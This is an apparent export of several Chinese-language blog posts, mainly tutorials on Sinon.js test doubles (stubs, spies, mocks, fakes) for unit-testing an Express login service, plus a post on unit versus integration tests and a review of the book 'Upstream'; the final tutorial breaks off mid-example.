取代真的讀檔的行為,使測試可以更關注在程式邏輯上面而一般使用 stub 都會寫死回傳的資訊,以方便後續測試 使用情景: [假資料回傳]HTTP Request, 讀檔, 讀取資料庫等等,後續程式還沒實作的狀況下可以用來測試程式邏輯 spy此 double 是用在去紀錄 function 的行為驗證上面被 spy 的 function 就像是被安插間諜一樣,會去收集行為function 也會真的被執行,並不會像 stub 一樣被取代掉以 function 裡面 post http 為例,此 post http 是會真的發送請求出去,但會被紀錄如果是用 stub 的話,post http 則是不會發送請求出去 使用情景: [行為驗證]因為程式是真的會執行,所以會專注在驗證程式執行的行為驗證上,例如驗證程式應該只能跑一次等等的行為上 想了解更詳細的可以讀讀 Sinon.js 的文件內容,擷取部分原文如下 A test spy is a function that records arguments, return value, thevalue of this and exception thrown (if any) for all its calls.from Sinon Spy mockMock Object 則是類似於 spy 以及 stub 的集合體本身擁有可以取代物件的方法 (stub),且內建 expect 方法可以驗證執行的行為是否正確 (spy)如果只是單純要讓後續程式邏輯接受固定值的話,用 stub 即可如果只是單純要驗證程式的行為,用 spy 即可但如果是以上兩個混合的狀況下,則是建議使用 Mock 使用情景: [行為驗證,假資料回傳]當需要驗證 HTTP POST 是否有根據所需參數進行執行,但又不想要真的發出 HTTP 的時候可以使用,跟 spy 最大差別在於 spy 是會真的執行程式,但 Mock 是不會真的去執行 想了解更詳細的可以讀讀 Sinon.js 的文件內容,擷取部分原文如下 Mocks (and mock expectations) are fake methods (like spies) with pre-programmed behavior (like stubs) as well as pre-programmed expectations.Mocks should only be used for the method under test. In every unit test, there should be one unit under test.In general you should have no more than one mock (possibly with several expectations) in a single test.from Sinon Mock fake此物件並不像是 spy 或是 stub 會取代程式裡面的行為而是建立一個實際可執行的 function,通常是用在建立 XHR or Server or Database 上面,但會是以更簡化的方式去實現例如原本可能是一個寄信的程式,但因為寄信驗證這件事情本身不好處理這邊可以做出一個 fake Object 是把寄信的訊息內容,改成寫檔,已達成寄信行為的驗證 使用情境:[簡化程式]簡化寄信,或是簡化 DB 連線改用 In-memory 的方式等等,目的就是要簡化 prodcution code 的複雜度 想了解更詳細的可以讀讀 Sinon.js 的文件內容,擷取部分原文如下 the sinon.fake API knows only how to create fakes, and doesn’t concern itself with plugging them into the system under test.To plug the fakes into the system under test, you can use the sinon.replace* methods.from Sinon Fake 小結結語要特別注意一件事情每一個測試框架針對這些 test double 可能會有一些些微的差距最好是針對測試框架裡面的文件進行閱讀去了解使用時機跟方式會比較恰當接下來就開始介紹關於 Sinon 這個測試框架的程式實作部分以及該如何搭配 express 進行 unit test 實作接下來會透過 express 搭配 sinon 進行 unit test 的說明首先我們會需要一個簡單的 express server此 server 功能有呼叫登入 API 以及寫檔兩種功能 為了方便進行 unit test 程式架構上,會進行拆分以模擬真實開發狀況登入的主要邏輯很單純1234567891011121314151617181920212223242526272829303132// server.js - listen 在 7070const authController = require(\"./authController\")app.post(\"/login\", authController.run);// authController.jsconst run = async (req, res) => { const { username } = {...req.body}; const result = await apiService.login(username) if (result.status !== 0) { return res.json({ message: \"登入失敗\" }) } return res.json({ message: \"登入成功\" })}// apiService.jsconst login = (username) => { return axios.post(\"http://localhost:7070/api\", { username, }).then((res) => res.data);}// 給 /login 用的, 不在測試範圍內app.post(\"/api\", (req, res) => { res.json({status: req.body.username === \"123\" ? 0 : 1})}) 在這種情況下要進行 unit test 必須要確保呼叫 apiService.login 是不會有任何問題的那如果要移除這層依賴,透過 test double 該如何對 authController.run 進行測試呢? Express with Sinon StubSinon Stub 介紹先介紹一下 Sinon Stub 如何使用,先看 code 1234const sinon = require(\"sinon\");const test = sinon.stub().returns(5);console.log(test());// 5 透過 stub 這個 function 接到的回傳值會是一個 function而這個 function 可以自定義呼叫的時候會有什麼樣的行為上面的範例中,我們讓他呼叫後得到的回傳是 5 那如果要得到類似 {status: 0} 這種結果呢? 方法如下123const test = sinon.stub().returns({status: 0});console.log(test());// {status: 0} 那如果說是要取代原本 function 的功能呢?1234567891011const sinon = require(\"sinon\");const obj = { test: function() { return \"this is test.\" }}console.log(obj.test());// \"this is test.\"sinon.stub(obj, \"test\").resolves({status: 0});console.log(obj.test());// Promise { { status: 0 } } 透過以上方法,obj 裡面的 test function 就被取代掉然後讓這個 function 回傳一個 promise.resolve 的結果 但如果說我的 function 要接收一個參數,然後指定回傳呢?12345678910111213const sinon = require(\"sinon\");const obj = { test: function(a) { return \"this is test: \" + a }}console.log(obj.test(\"test\"));// this is test: testsinon.stub(obj, \"test\").withArgs(\"123\").returns({status: 0});console.log(obj.test(\"123\"));// { status: 0 }console.log(obj.test());// undefined 透過 withArgs 可以設定,當這個 function 接收到什麼樣的參數的時候應該要回傳什麼樣的結果以上面的範例來說,只要這個 test function 的參數是 "123" 的話那他的回傳值就會是 { status: 0 }綜合以上的方法,就可以開始實作 unit test 了 如何在 express 上使用 stub回到正題因為是 express 的關係,所以 req 以及 res 的物件必須先透過 stub把 res 的行為先透過自訂義的方式給取代 這邊 req 不用的原因是,我們只取 req.body 的值所以可以直接當成 json 取值就好但 res 不能的原因是, express 再回傳的時候會需要多 call res.json() 來把值回傳回去 12345678910const mockRequest = (data) => { return { body: data }}const mockResponse = () => { const res = {}; res.json = sinon.stub().returns(res); return res;} 接下來正式的測試程式來了12345678910111213141516describe(\"[登入功能]\", () => { it(\"登入成功\", async () => { const req = mockRequest({ username: \"123\", }) const res = mockResponse(); sinon.stub(apiService, \"login\").withArgs(\"123\").resolves({ status: 0 }) await authController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入成功\", }); sinon.assert.calledOnce(res.json); })}) 透過使用 sinon.stub(apiService, "login")可以把 apiService 裡面的 login function 實際行為給取消掉我們在後面定義了回傳一個 Promise.resolve 來指定被我們更改掉後應該回傳的資料也就是 sinon.stub(apiService, "login").resolves(data) 裡面的 data這樣我們就可以讓 authController.run 裡面的 apiService.login不會真正去發送 POST Request,而是會回傳我們的結果執行 mocha 後的結果如下 接下來我們再增加一個 test case,程式碼如下12345678910111213141516171819202122232425262728293031323334const apiServiceLogin = sinon.stub(apiService, \"login\")describe(\"[登入功能]\", () => { beforeEach(() => { apiServiceLogin.reset() }) it(\"登入成功\", async () => { const req = mockRequest({ username: \"123\", }) const res = mockResponse(); apiServiceLogin.withArgs(\"123\").resolves({ status: 0 }) await authController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入成功\", }); sinon.assert.calledOnce(res.json); }) it(\"登入錯誤\", async () => { const req = mockRequest({ username: \"123\", }) const res = mockResponse(); apiServiceLogin.withArgs(\"123\").resolves({ status: 999 }) await authController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入失敗\", }); sinon.assert.calledOnce(res.json); })}) 這邊要注意,已經被取代掉的 function,行為已經被我們第一個 test case 給固定了為了要還原預設行為,必須在 beforeEach 加上 reset() 的方法去重置每一個 test case apiService.login 回傳的行為,結果如下 Express with Sinon SpySinon Spy12345const sinon = require(\"sinon\");const spy = sinon.spy();spy()console.log(spy.callCount);// 1 基本上所有測試替身呼叫後,都是會回傳一個可執行 function 回來根據前面介紹過,spy 是單純拿來做紀錄以及驗證上面的範例來說,就可以知道這個 function 被呼叫一次另外在 spy 的狀況下,function 實際行為是會被觸發,我們再來看另一段 code12345678910111213const sinon = require(\"sinon\");const obj = { test: function(a) { return \"this is test: \" + a }}const spy = sinon.spy(obj, \"test\");console.log(spy(\"hihi\"));// this is test: hihiconsole.log(obj.test(\"hihi2\"));// this is test: hihi2console.log(spy.callCount);// 2以上面的例子可以看到,程式實際上的邏輯是有被觸發成功的透過 spy 回傳的值,也是一個可執行的 function透過 spy() 或是 obj.test() 去觸發,都會被記錄起來 如何在 express 上使用 spy程式碼會增加一段對 username 進行 hash 再去做 login123456789101112131415161718192021// authControler.jsconst run = async (req, res) => { const { username } = {...req.body}; const result = await apiService.login(hash.sha256(username)) if (result.status !== 0) { return res.json({ message: \"登入失敗\" }) } return res.json({ message: \"登入成功\" })}// hash.jsconst sha256 = (username) => { const t = ctypto.createHash(\"sha256\"); return t.update(username, \"utf8\").digest(\"base64\");} 先來跑跑看 unit test 會發現結果是錯的原因是因為原本設定好 login 的時候,參數應該會是帶 "123"但因為變成 hash 之後會改成 "pmWkWSBCL51Bfkhn79xPuKBKHz//H6B+mY6G9/eieuM="把 unit test 裡面的 withArgs 改成 apiServiceLogin.withArgs("pmWkWSBCL51Bfkhn79xPuKBKHz//H6B+mY6G9/eieuM=") 即可 此時我們想要針對 hash.sha256 進行次數監控1234567891011121314151617181920212223242526272829303132333435const hashSha256 = sinon.spy(hash, \"sha256\");beforeEach(() => { apiServiceLogin.reset() hashSha256.resetHistory() }) it(\"登入成功, hash 一次\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceLogin.withArgs(\"pmWkWSBCL51Bfkhn79xPuKBKHz//H6B+mY6G9/eieuM=\").resolves({ status: 0 }) await authController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入成功\", }); sinon.assert.calledOnce(res.json); sinon.assert.calledOnce(hashSha256) }) it(\"登入錯誤, hash 一次\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceLogin.withArgs(\"pmWkWSBCL51Bfkhn79xPuKBKHz//H6B+mY6G9/eieuM=\").resolves({ status: 999 }) await authController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入失敗\", }); sinon.assert.calledOnce(res.json); sinon.assert.calledOnce(hashSha256) }) 先在最前面加上 const hashSha256 = sinon.spy(hash, "sha256"); 取完成 spy 的動作然後在最後面加上了驗證 sinon.assert.calledOnce(hashSha256) 就可以完成驗證動作除此之外,要先在 beforeEach 加上 hashSha256.resetHistory() 去重置計算次數 Express with Sinon MockSinon Mock不同於 stub 以及 spy透過 mock 回傳的東西並不是一個可執行的 function而是要透過此 mock 去進行設定,類似『驗證』用的東西以及可以像是 stub 一樣,指定在 function 被呼叫的時候,應該會有什麼樣的回傳值但又不同於 stub 以及 spy,mock 並不能直接去針對某一個做 mock而是只能會對整個 obj 做 mock12345678910111213141516const sinon = require(\"sinon\");const obj = { test: function(a) { return \"this is test: \" + a }};const mock = sinon.mock(obj);// 驗證只能最多被呼叫 2 次mock.expects(\"test\").atLeast(2).returns({status: 1})console.log(obj.test());// { status: 1 }console.log(obj.test());// { status: 1 }mock.verify() 透過 mock.expects("test").atLeast(2).returns({status: 1}) 去設定預期哪一個 method 應該回傳什麼樣的值以及設定可被執行的次數最後再透過 mock.verify() 可以啟用這個 assertion除此之外,如果想要回復這個被 mock 原始的 method 的話可以透過 mock.restore() 去做回覆的動作這樣回覆之後,就會執行原本 function 的邏輯了 如何在 express 上使用 mock基本上程式碼跟上一個很像,但不一樣的地方在於我想要針對 apiService.js 去進行驗證,以及模擬回傳值12345678910111213141516171819202122232425262728293031const apiServiceLogin = sinon.mock(apiService);it(\"登入成功, hash 一次\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceLogin.expects(\"login\").withArgs(\"pmWkWSBCL51Bfkhn79xPuKBKHz//H6B+mY6G9/eieuM=\").resolves({ status: 0 }).once(); await authController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入成功\", }); sinon.assert.calledOnce(res.json); sinon.assert.calledOnce(hashSha256) }) it(\"登入錯誤, hash 一次\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceLogin.expects(\"login\").withArgs(\"pmWkWSBCL51Bfkhn79xPuKBKHz//H6B+mY6G9/eieuM=\").resolves({ status: -1 }).once(); await authController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入失敗\", }); sinon.assert.calledOnce(res.json); sinon.assert.calledOnce(hashSha256) }) 差別在於以下程式,透過 mock,可以去指定回傳值,以及可以兼顧驗證用的功能123apiServiceLogin.expects(\"login\").withArgs(\"pmWkWSBCL51Bfkhn79xPuKBKHz//H6B+mY6G9/eieuM=\").resolves({ status: -1}).once(); Express with Sinon FakeSinon Fake在 Sinon 官網上對於 Fake 的說明是一種把 spy 跟 stub 混合的一種形式所以這邊後面並不會介紹如何在 express 上面實作而是會針對這個 fake 功能做些簡單的範例而已 1234const sinon = require(\"sinon\");const fake = sinon.fake.returns({status: 1});console.log(fake());{ status: 1 } 跟 stub 一樣可以指定該 function 應該回傳的值但他也有可以取代原本 method 的功能,程式如下 123456789101112const sinon = require(\"sinon\");const obj = { test: () => { return \"test\"; }}const fake = sinon.fake.returns({status: 1});console.log(obj.test());// testsinon.replace(obj, \"test\", fake)console.log(obj.test());// { status: 1 } 透過 sinon.replace,可以取代掉原本 function 的實際邏輯 結語以上介紹完每一個 test double 的意思以及使用場景但使用場景上,我也還在思考什麼樣的場景可以搭配什麼去使用歡迎各位一起在下面留言進行討論未來會再針對實務上 unit test 遇到的困難再回來整理一篇 References https://www.sitepoint.com/sinon-tutorial-javascript-testing-mocks-spies-stubs/ https://dev.to/milipski/test-doubles---fakes-mocks-and-stubs https://codewithhugo.com/express-request-response-mocking/ https://tpu.thinkpower.com.tw/tpu/articleDetails/1294 http://kaczanowscy.pl/tomek/2011-01/testing-basics-sut-and-docs","link":"/2019/12/10/unit-test-express/"},{"title":"Unit Test 實踐守則 (五) - 如何有效使用 Test Double","text":"前言上一篇如何寫出一個好的 Unit Test? 留下的兩個問題 那除了 business logic 以外都不用寫 unit test 嗎? 如果測試切入點從 controller 開始, 然後對 mock/stub 資料庫去做 unit test 不也是可以? 文章中有提到 Test Double, 但好像沒有說用在哪或是怎麼使用比較好? 在討論第一個問題之前, 我們需要先花點介紹書中 Integration Test 的定義 至於關於第二個問題其實當我們開始用 Test Dobule 的時候不外乎是要針對外部資源或是資料庫使用 Test Doubles那麼要如何比較準確使用 Test Doubles 去測試呢?是不是在 unit test 中的待測試程式從資料庫取得資料時需要用到 Test Doubles 呢? 以上兩個問題等等會詳細地進行說明但為了要說明, 我們必須先瞭解書中 Integration Test 的定義 Integration Test 是什麼?還記得我們提到過 unit test 的定義嗎? 驗證一小段的程式碼, 並以驗證單一行為為主, 就是 unit of behavior 執行快速 獨立性 (isolated) 不受其他 unit test 影響 而在書中對 Integration Test 的定義就是, 當測試不符合上面其中一點時就是 Integration Test以第一點來說, 我們 unit test 驗證的是 1 個行為但對 Integration Test 來說, 驗證的是 N 個行為 除此之外, 當有對外部資源或資料庫直接操作或是做 mock 的話, 也隸屬於 Integration Test可以看到作者在這則評論裡面談到這件事以及我去跟作者 dobule check unit test 和 Integration test 的定義的評論 不過有趣的是, 作者認為技術上配合 mock 資料庫去驗證 1 個行為這種方式, 可以算得上 unit test只是作者覺得為了簡單好區分就把他歸類在 Integration Test 了 Technically, a test that covers the controller and mocks the database would be a unit test,but I would still categorize it as an integration test for simplicity sake.from https://disq.us/p/2cg0hl8這個連結點進去要稍等一下, 才會跳到那個評論 所以回到前面的問題『除了 business logic 以外都不用寫 unit test 嗎?』這其實還是得看情況, 如果一個 API 的程式邏輯相對單純那 unit test 做的事情就已經達到 Integraion Test 做的事情只是定義上可能會有些不同而已 而前面提到過書中把程式分成四大類型, 而 unit test 和 Integration test 也會依照不同分類去使用 (圖一)所以按照書中邏輯, 作者是不希望在進行 unit test 時牽扯到外部資源的希望單純以 business logic 去進行 unit test因為此特點所以在 unit test 中其實會非常少用到 Test Double (除非選用 unit of code)至於其他牽扯到多個行為或是外部資源就交由 Integration Test 去處理 這也是為什麼前一篇的 unit test 是會以 userService 為切入點進行測試, 而不是 controller 如果有遵守重構的原則進行拆分, 在使用 Test Double 的時候大部分都會是使用在 Integration Test 裡面但 Integration Test 通常是會實際去跟外部資源進行測試也就是會實際讀取資料庫, 但有一些像是要付錢的 API 可能就還是要 mock/stub 的方式去處理像是 91 大介紹的 Intergration Test 也有提到這點 所以這帶來一個問題也就是既有程式在還沒拆分 business logic 之前, 或是本身邏輯違反六角形結構 (hexagonal architecture)導致在 business logic 裡面去讀取資料庫時該怎麼解決 這就回歸到上一篇提到的重構環節了但我們要思考的是如何在重構中又能保持原本程式 output 是不變的才對針對這點, 我有特別去跟作者確認如果在 business logic 還未抽出來之前會建議先使用 Integration test (無論要不要用 mock) 先去做驗證沒問題的話, 在開始把 business logic 抽出來去寫 unit test 的流程適合嗎?而我得到的回覆如下 That’s also correct. Write an integration test first, to check the overall behavior. Then do the refactoring.from https://disq.us/p/2cg0hl8 所以這也重複驗證, 本書是希望針對 business logic 去做 unit test剩餘的就交給 Integration test, 也就是上圖圖一的 Controller 部分 接著我們討論一下 Test Double 的使用方式 Test Double 使用方式書中把 Test Double 分成兩種大類型 Mocks 是幫忙驗證以及模擬互動的結果. Stubs 是幫忙模擬 input data, 像是當成資料庫取值就會需要用到 Stubs. 想詳細了解各個 Test Dobule 的話可以參考之前我寫的 Test Double - 測試替身 以登入的例子來討論應該要用哪一種類型的 Test Double假設登入成功之後要寄信通知使用者登入成功, 程式如下12345678910// loginController.js// axios 是一個專門發 request 用的套件const axios = require(\"axios\")function login() { // 其餘程式就忽略 ...... axios.post(mailServiceUrl, { mail: mail, title: \"You've login successfully\" })} 那因為上一篇重構的案例把它調整成如下並且我們再加上一點邏輯在拆開的 mail.js 裡面12345678910111213141516171819// loginController.jsconst mail = require(\"./mail.js\")function login() { mail.sendLoginSuccessfullyMail(mail)}// mail.jsconst axios = require(\"axios\")module.exports = { sendLoginSuccessfullyMail: (mail) => { if (isMailFormatCorrect(mail) === false) { throw new Error(\"mail format is wrong\") } axios.post(mailServiceUrl, { mail: mail, title: \"You've login successfully\" }) }} 此時要 mock/stub 哪一個位置才是比較適合的呢? 以及要選 mock 還是 stub 呢?答案是使用 mock 在 mail.js 裡面的 axios 套件的 post 方法去進行驗證就好 原因是 mail.js 並不是實際上去發出外部請求的程式而是 axios.post 才是在 mail.js 裡面的程式也是內部相依性的一種所以在做 mock 的時候要以最外層, 實際去呼叫外部資源的地方為主透過這種方式可以以最大限度去檢測內部使用的相依性問題 如果萬一是 mock 在 mail 的 sendLoginSuccessfullyMail 方法的話變成有一段檢測 mail 格式的邏輯就會沒有測試到, 而這種方式就是 unit of code因為 unit of code 就是在測試程式中, 所有相依性都用 mock 去處理 那以前幾天提到六角形架構 (hexagonal architecture) 來看的話如下 所以在使用 mock/stub 盡量以最外面靠近外部資源的去 mock/stub不過當我們在測試這類型的時候, 其實也已經被歸類在 Integration test 裡面了 那麼接著為何剛剛的 case 要使用 mock 而不是 stub?在書中, 用了以下兩種方式去分類何時使用 mock 何時使用 stub有回傳值使用 stub, 無回傳值使用 mock 不過進一步說明的話, 因為在剛剛的 case 中並沒有需要寄信的 response 去處理任何東西所以我就也不需要用 stub 了我只需要用 mock 去驗證寄信的行為是不是有符合就夠了 後記透過這五篇帶大家了解一下書中內容的一些精華書中有些觀點我可能沒辦法完整呈現出來但有興趣的人可以去看看這本書, 真的寫得不錯!如果有任何疑問, 歡迎提出來一起討論!","link":"/2020/10/12/unit-test-best-practice-part-5/"},{"title":"上游思維 - 在問題發生前解決的根本之道","text":"前言這本書個人覺得非常精彩,書中舉了非常大量讓我意想不到的範例去闡述作者想表達的事情,這篇紀錄以個人理解和覺得不錯的例子來提醒自己未來要注意的事情,書中太多精華很難在短短文章表達出來,很推薦大家閱讀。 何謂上游思維講到上游思維之前,先來看看一個情境。 書中舉的第一個例子就是旅遊網中的客服來電問題,在購買訂單後卻有 58% 的人打電話來尋求協助,無論是訂什麼類型的東西都是,那因為客服部門致力於效率和顧客滿意度,所以會希望越快解決客戶問題越好,但卻都沒有人問過『為什麼有那麼多人打客服電話給我們』?最後把問題鎖定變成『讓客戶不必打電話到公司客服』,後續就是原本打電話的人數從 58% 下降到 15%,這就是上游思維,透過上游行動,避免問題發生所採取的手段。 但要注意,上游行動和下游行動並不是擇一就好,有時是兩者都是需要,舉例來說拯救溺水的人,配置救生員和救生圈是一種下游做法,而上游作法則是教會當地小鎮人如何游泳,而書中強調的重點是要如何往上游去思考去預防問題發生。 剛剛客服的例子也是受困於下游思維的一個例子,而被受困於下游思維通常會有三個因素。 對問題盲目 缺乏負責人 隧道效應 接著會簡單帶出這三個所表達的意思 對問題盲目我們舉天氣來說,我們知道天氣很糟,但也無法做什麼,最後就接受了這個事實,對應到筆者職業上也可以這樣說,覺得寫程式一定會有很多 bug,這類型的認知就是屬於對問題盲目。當對問題盲目時,你會覺得『事情就樣啊,沒辦法』,這樣思維就很難往上游去以制高點看到真正的問題出在哪裡。在很多組織中一定會有『現況就是這樣,所以沒有人會質疑』的情況出現,所以需要的是把『看似正常的現象問題化』,才會跳脫出對問題盲目。 以工程師角度來說,之前從朋友聽過有一個例子很神奇,某間公司的 QA 工程師比開發工程師還要多,在詢問之下才發現原來他們的開發工程師都沒有在進行測試,甚至也不寫單元測試,而造成的後果就是需要更多更多的 QA 工程師來幫他們測試,但在那間的工程師我相信會覺得這件事情很正常,心想『開發工程師幹嘛測試?』,而這也是因為體制設計 (開發工程師可以不測試) 的關係,所以最終反映在結果上 (一堆 QA 幫忙擦屁股),進而導致徵了大量的人員,但都沒有用,會不會反而把這錢花在教他們寫單元測試上還比較好? 書中提到另一個很有趣的例子,有兩隻年輕小魚從魚缸一邊游到另一邊,途中有一隻老魚面對著他們游過去,就問了『今天的水如何』?兩隻小魚沒有回答,而是到了魚缸另一邊後,其中一隻問到『他說的水是什麼?』。這水其實就是對應到了體制,有時候我們會身在體制中卻感覺不到,因為我們會感覺到非常自然,一切都看似非常正常,而這後果就是對問題盲目。 缺乏負責人有些時候我們發現了真正問題,但卻不敢遲遲下手解決,一部分是因為自身利益,另一部分是認為自己缺乏採取行動的正當性,會覺得自己的身份不太適合,也就是心理資格不符合。 書中提到一個例子我覺得蠻有趣的,在校園的有些男大學生對於約會強暴事件感到非常震驚,但對於想加入由女性主導的示威活動卻感覺到是不是不恰當,接著有另一個小實驗說明了,組織名稱原本為『普林斯頓反一七四提案陣線』改為『普林斯頓男性與女性反一七四提案陣線』,男女方的請願書數量遠比一開始的高出許多。 所以要把思維想成並不是因為我必須解決這問題,而是我有能力解決這問題,加上這問題有需要被解決的必要,所以我才決定要面對這問題,不然會受限於心理資格有沒有符合,而導致不敢踏出那一步。 隧道效應當因為各種問題而分身乏術時,通常會放棄解決全部的問題,視野變得狹隘,只專注在眼睛看到的到事情上,不會思考更上游的行動,而做出的選擇就僅限於下游,就像在一個隧道中,通常你要做的事情就是面對那個光一直前進到出口為止。 這也就代表了光是緊急的問題可能就處理不完,可能就無法想到要問自己,為什麼這個狀況會一再出現呢?這也帶出另一個問題,書中提到說『親愛的團隊,我們必須給 XXX 掌聲,因為他即時滅火,如果不是他我們就慘了』的例子,這必須思考萬一這是一種行為循環,一直不斷在滅火,那麼是不是體制有問題? 而要跳出這個隧道,必須製造『空閒』出來,代表的是預先保留時間或是資源用來解決問題,當你把焦點放在一直前進上面,其實就無法暫停一下確認是否正在對的方向,所以適當的停下來思考並取得回饋是非常重要的。 中間各種例子書中經典例子想表達的想法太多了,我選擇列出覺得很不錯一個很有趣的例子和三個看到的共通點 眼鏡蛇問題這個案例是英國殖民印度的時候,英國官網對於德里出現太多眼鏡蛇感到憂心,所以發出了眼鏡蛇懸賞,只要帶著眼鏡蛇屍體來就可以換獎金,原本是想要滅絕眼鏡蛇的,但沒想到結果就是一部分人開始養起眼鏡蛇來,完全跌破官員的預想,這是一個設計新的制度,但卻根本沒有解決本質問題的案例。 讓資料說話在書中各種案例中,是有各種資料去把問題給說明出來,所以如何收集資料和快速得到資料是非常重要。舉例來說,有個案例是要預防社區妻子因家暴被殺死的情況,作法則是列出幾項類似『這個人是否曾經毆打你』等等問題,最後做一個統計分數,再根據統計分數決定要安排是不是需要有人定期巡邏等等對應策略。除此之外,也會有各種指標來衡量改善於否。 以系統角度俯瞰問題全貌裡面提到一個關於在島上生物鏈的問題,因為解決問題的人不是從系統面去看待問題,而是單一解決問題。例如因為 A 太多,導致 B 面臨滅絕問題,而打算滅掉 A,結果卻導致 C 因為吃不到 A,轉而吃 B。但如果以系統面,把整個島上的食物鏈畫出來,也許就能夠發現滅掉 A 的空缺後,可能會造成問題出現。 這個思考方式可以套用在所有職業上面,以工程師來說,大家最怕的是改 A 壞 B、改 B 壞 C、改 C 壞 A,但如果以全面性去思考,這個東西會影響哪幾個地方,會不會有一連串關係下去?把這個脈絡圖出來,一層一層去解析,也許就能根本性解決連鎖問題。 預先模擬操弄行為因為上游行動往往是制度面的改變,所以要先預想在這個制度下面會不會又有人鑽漏洞,書中給出五個測試方式,但我選擇最有感的測試分享在這,就是『懶惰官測試』,代表如果有人想用最取巧的方式讓新制度下需要達到的指標變得好看,可以怎麼做? 這個測試就可以拿來測試剛剛提到眼鏡蛇問題的情況,若我們只看眼鏡蛇數量的話,我要怎麼用取巧的方式增加這個指標,讓他變得好看呢?透過預先模擬,也能對問題的了解更加全面 上游行動的三項建議而要如何往上游行動,書中在最後給出三項建議 迅速行動,耐心等待結果 上游行動往往帶來的效益是巨大的,但是發酵時間卻是非常漫長,因為上游行動改變的往往是制度層面,而下游行動則是反過來。這也是為什麼多數人選擇下游行動,因為更快見效比較有感,但就是解決問題表面而已。 千里之行,始於足下 當面對一個問題的時候,投身到這個問題之中,實際去面對和解決問題,只有當近距離觀察問題,才會有辦法察覺到問題的核心在哪裡,且先想著了解如何幫助一個人,再去想怎麼幫助數百人。若有人都沒實際去訪談了解一個無家者,就想直接解決遊民問題,我是不信他能解決,這也呼應到我在 StackOverflow 那篇提到的 X-Y 問題。 計分板比解藥還重要 書中其實很大量提到數字統計的重要性,也有提到資料應該是要以學習為目的,而不是鑑定為目的。以鑑定為目的,通常是『業績沒有達到 XXX 是有什麼問題發生嗎?』的思維方式,而以學習為目的,是提出假設去實驗看看結果會增加或是減少,而要能得到這些數字就是要建立回饋循環,有快速的回饋才有辦法即時調整自己的站位。 後記這本書非常建議大家閱讀,內容真的很有趣,也可以從不同例子中看到原來有很多不同思維模式。","link":"/2021/11/25/upstream/"},{"title":"express unit test 一些技巧教學以及困難點","text":"前言上一篇我們講到使用 sinon 搭配 express 的使用基礎今天會介紹的是關於在 nodejs 的 express unit test實作 unit test 的幾個技巧以及可能會遇到的問題該如何解決問題,並依靠 sinon 去達到希望的功效 stub 同一個 object在開始寫 unit test 之後會開始發現一件事情,就是需要對同一個物件重複做 stub在 a.test.js 需要 stub 一次在 b.test.js 又需要 stub 一次 直覺上測試程式可能會變成以下的樣子12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364// login.test.jsconst apiServiceStub = sinon.stub(apiService);describe(\"[登入功能]\", () => { it(\"登入成功\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceStub.login.withArgs(\"123\").resolves({ status: 0 }); await loginController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入成功\", }); sinon.assert.calledOnce(res.json); }) it(\"登入錯誤\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceStub.login.withArgs(\"123\").resolves({ status: -1 }); await loginController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入失敗\", }); sinon.assert.calledOnce(res.json); })})// register.test.jsconst apiServiceStub = sinon.stub(apiService);describe(\"[註冊功能]\", () => { it(\"註冊成功\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceStub.register.withArgs(\"123\").resolves({ status: 0 }); await registerController.run(req, res) sinon.assert.calledWith(res.json, { message: \"註冊成功\", }); sinon.assert.calledOnce(res.json); }) it(\"註冊錯誤\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceStub.register.withArgs(\"123\").resolves({ status: -1 }); await registerController.run(req, res) sinon.assert.calledWith(res.json, { message: \"註冊失敗\", }); sinon.assert.calledOnce(res.json); })}) 我們在 login.test.js 以及 register.test.js都對 apiServer 進行 stub 的動作而這兩個檔案在獨立分別跑測試的時候是會成功的但一起執行的時候卻會爆出以下的錯誤TypeError: Attempted to wrap which is already wrapped代表說,我們對同一個 object 重複做了 wrap 可到個人的 github 下載程式,並執行 npm run w1就可以看到錯誤訊息了 要解決這個問題的話我們必須透過 stub 指定的 method再加上透過 restore 的方式釋放被 wrapped 物件的方法如果不 restore 的話,物件就會一直是 wrappred 的狀態然後就一直沒有辦法回復到原本物件應該有的狀態所以更改過後程式碼如下12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879// login.test.jslet apiServiceLogindescribe(\"[登入功能]\", () => { before(() => { apiServiceLogin = sinon.stub(apiService, \"login\"); }) after(() => { apiServiceLogin.restore(); }) it(\"登入成功\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceLogin.withArgs(\"123\").resolves({ status: 0 }); await loginController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入成功\", }); sinon.assert.calledOnce(res.json); }) it(\"登入錯誤\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceLogin.withArgs(\"123\").resolves({ status: -1 }); await loginController.run(req, res) sinon.assert.calledWith(res.json, { message: \"登入失敗\", }); sinon.assert.calledOnce(res.json); })})// register.test.jslet apiServiceRegisterStub;describe(\"[註冊功能]\", () => { before(() => { apiServiceRegisterStub = sinon.stub(apiService, \"register\"); }) after(() => { apiServiceRegisterStub.restore(); }) it(\"註冊成功\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceRegisterStub.withArgs(\"123\").resolves({ status: 0 }) await registerController.run(req, res) sinon.assert.calledWith(res.json, { message: \"註冊成功\", }); sinon.assert.calledOnce(res.json); }) it(\"註冊錯誤\", async () => { const req = mockRequest({ username: \"123\" }) const res = mockResponse(); apiServiceRegisterStub.withArgs(\"123\").resolves({ status: -1 }) await registerController.run(req, res) sinon.assert.calledWith(res.json, { message: \"註冊失敗\", }); 